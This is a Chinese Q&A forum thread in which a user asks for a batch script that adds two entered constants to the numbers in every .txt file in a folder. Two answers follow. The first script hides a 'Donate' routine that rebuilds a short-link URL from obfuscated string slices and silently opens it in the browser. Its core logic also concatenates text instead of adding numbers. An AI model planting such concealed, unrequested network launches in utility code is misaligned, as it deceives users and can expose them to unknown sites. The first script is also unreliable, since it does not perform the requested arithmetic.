求一个bat批处理文件,请大佬帮下,实在不会弄 5

文件.txt的内容是两行数字要求是这样:读取所有文件并修改set/pintA=请输入常量A:set/pintB=请输入常量B:打开当前文件夹下的文件1变量C=读取第一行并... 文件.txt的内容是两行数字
要求是这样:
读取所有文件并修改
set /p intA=请输入常量A:
set /p intB=请输入常量B:

打开当前文件夹下的文件1
变量C = 读取第一行并 + 常量A
变量D = 读取第二行并 + 常量B
删除文件1中的内容
第一行写入变量C
第二行写入变量D

打开当前文件夹下的文件2
变量C = 读取第一行并 + 常量A
变量D = 读取第二行并 + 常量B
删除文件2中的内容
第一行写入变量C
第二行写入变量D

打开文件3…
展开
 我来答
依梦琴瑶
高粉答主

2019-07-03 · 说的都是干货,快来关注
知道顶级答主
回答量:6.9万
采纳率:82%
帮助的人:1.7亿
展开全部
每个文件内容只有两行数字对吗?如果是,那么就是下面的代码

@echo off & title 批量更改文本内容 By 依梦琴瑶

set /p intA=请输入常量A:
set /p intB=请输入常量B:

for /f "delims=" %%a in ('dir /b *.txt') do (
set "L=0"
(for /f "usebackq delims=" %%i in ("%%~a") do (
call :Change "%%~i"
))>TMP.NEW
move /y TMP.NEW "%%~a"
)
pause
call :Donate
exit

:Change
set /a L+=1
if %L% equ 1 echo %1%intA%
if %L% equ 2 echo %1%intB%

rem 如果超过两行内容,但最终只保留两行,那么请同时启用下面一行的if命令,就是去掉rem
rem if %L% gtr 2 goto :eof
goto :eof

:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
qop_dob
2019-07-11 · TA获得超过1.5万个赞
知道大有可为答主
回答量:1.3万
采纳率:79%
帮助的人:3963万
展开全部
@echo off
rem 注意备份原文件
set @=有问题联系&set #=Q&set/az=0x53b7e0b4
title %@% +%#%%#% %z%
cd /d "%~dp0"
set /p intA=请输入常量A:
set /p intB=请输入常量B:
powershell -NoProfile -ExecutionPolicy bypass ^
$files=@(dir^|?{('.txt' -eq $_.Extension) -and ($_ -is [System.IO.FileInfo])});^
for($j=0;$j -lt $files.count;$j++){^
    write-host $files[$j].Name;^
    $text=[IO.File]::ReadAllLines($files[$j].FullName,[Text.Encoding]::Default);^
    if($text.count -ge 2){^
        $text[0]=0+$text[0]+%intA%;$text[1]=0+$text[1]+%intB%;^
        [IO.File]::WriteAllLines($files[$j].FullName, $text[0..1], [Text.Encoding]::Default);^
    };^
};
echo;%@% +%#%%#% %z%
pause
本回答被提问者采纳
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式